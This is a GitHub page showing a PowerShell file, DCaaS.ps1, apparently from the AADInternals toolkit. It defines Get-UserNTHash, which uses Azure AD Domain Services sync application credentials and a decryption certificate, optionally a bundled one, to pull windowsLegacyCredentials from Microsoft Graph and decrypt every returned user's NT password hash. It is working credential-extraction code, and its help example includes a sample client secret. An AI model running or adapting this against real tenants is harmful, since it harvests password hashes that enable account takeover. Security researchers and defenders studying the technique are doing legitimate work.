-
Notifications
You must be signed in to change notification settings - Fork 218
/
DCaaS.ps1
118 lines (108 loc) · 4.56 KB
/
DCaaS.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
# Gets users NT Hashes from Azure AD
# Dec 22nd 2022
function Get-UserNTHash
{
<#
.SYNOPSIS
Exports and decrypts the NTHashes from Azure AD using the given application and certificate.
.DESCRIPTION
Exports and decrypts the NTHashes from Azure AD using the given application and certificate.
The application must be "Azure AD Domain Services Sync" created during the Azure AD Domain services (AADDS) deployment. Either client certificate or password needs to be provided.
The encryption certificate needs to be exported from AADDS domain controller.
.Example
PS C\:>Get-AADIntUserNTHash -ClientPassword "vlb8Q~W8iVXwfdt2FjIH4FE0hRc-p9G_kyN_KbtZ" -ClientId "23857e6f-7be4-4bb8-84b7-22e92c359c8d" -PfxFileName .\encryption_cert.pfx
NTHash UserPrincipalName
------ -----------------
00000000000000000000000000000000 user1@company.com
11111111111111111111111111111111 user2@company.com
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='ClientPassword', Mandatory=$False)]
[Parameter(ParameterSetName='ClientCert' , Mandatory=$True)]
[string]$ClientPfxFileName,
[Parameter(ParameterSetName='ClientPassword', Mandatory=$True)]
[Parameter(ParameterSetName='ClientCert' , Mandatory=$False)]
[string]$ClientPassword,
[Parameter(Mandatory=$False)]
[string]$ClientPfxPassword,
[Parameter(Mandatory=$False)]
[string]$PfxFileName,
[Parameter(Mandatory=$False)]
[string]$PfxPassword,
[Parameter(Mandatory=$False)]
[guid]$TenantId,
[Parameter(Mandatory=$True)]
[guid]$ClientId,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName,
[Parameter(Mandatory=$False)]
[switch]$UseBuiltInCertificate
)
Process
{
# Load certificates
if(![string]::IsNullOrEmpty($ClientPfxFileName))
{
$clientCertificate = Load-Certificate -FileName $ClientPfxFileName -Password $ClientPfxPassword -Exportable
}
if($UseBuiltInCertificate)
{
$decryptionCertificate = Load-Certificate -FileName "$PSScriptRoot\ForceNTHash.pfx" -Exportable
}
elseif(![string]::IsNullOrEmpty($PfxFileName))
{
$decryptionCertificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
}
else
{
Throw "Provide PfxFileName or use -UseBuiltInCertificate"
}
# Parse the tenant name from the cert and get id if not provided
if([string]::IsNullOrEmpty($TenantId))
{
try
{
$domainName = $decryptionCertificate.Subject.Split("-")[1].Trim()
$TenantId = Get-TenantID -Domain $domainName
}
catch
{
throw "Unable to parse tenant id from the certificate. Try again with -Tenant switch."
}
}
# Get access token
$access_token = Get-DCaaSAccessToken -Certificate $clientCertificate -TenantId $TenantId -ClientId $ClientId -Password $ClientPassword
$queryString = '$select=id,onPremisesImmutableId,onPremisesSecurityIdentifier,userPrincipalName,windowsLegacyCredentials'#,windowsSupplementalCredentials'
if(![string]::IsNullOrEmpty($UserPrincipalName))
{
$queryString += "&`$filter=userPrincipalName eq '$UserPrincipalName'"
}
$results = Call-MSGraphAPI -AccessToken $access_token -API users -QueryString $queryString
foreach($result in $results)
{
if($result.windowsLegacyCredentials)
{
$binLegacyCreds = Convert-B64ToByteArray -B64 $result.windowsLegacyCredentials
$ADAuthInfo = Unprotect-ADAuthInfo -Data $binLegacyCreds -Certificate $decryptionCertificate
if($ADAuthInfo)
{
$binHash = $ADAuthInfo[8..($ADAuthInfo.length)]
[PSCustomObject][ordered]@{
"NTHash" = Convert-ByteArrayToHex -Bytes $binHash
"UserPrincipalName" = $result.UserPrincipalName
}
}
else
{
Write-Verbose "Decryption failed: $($result.UserPrincipalName)"
}
}
else
{
Write-Verbose "No NTHash: $($result.UserPrincipalName)"
}
}
}
}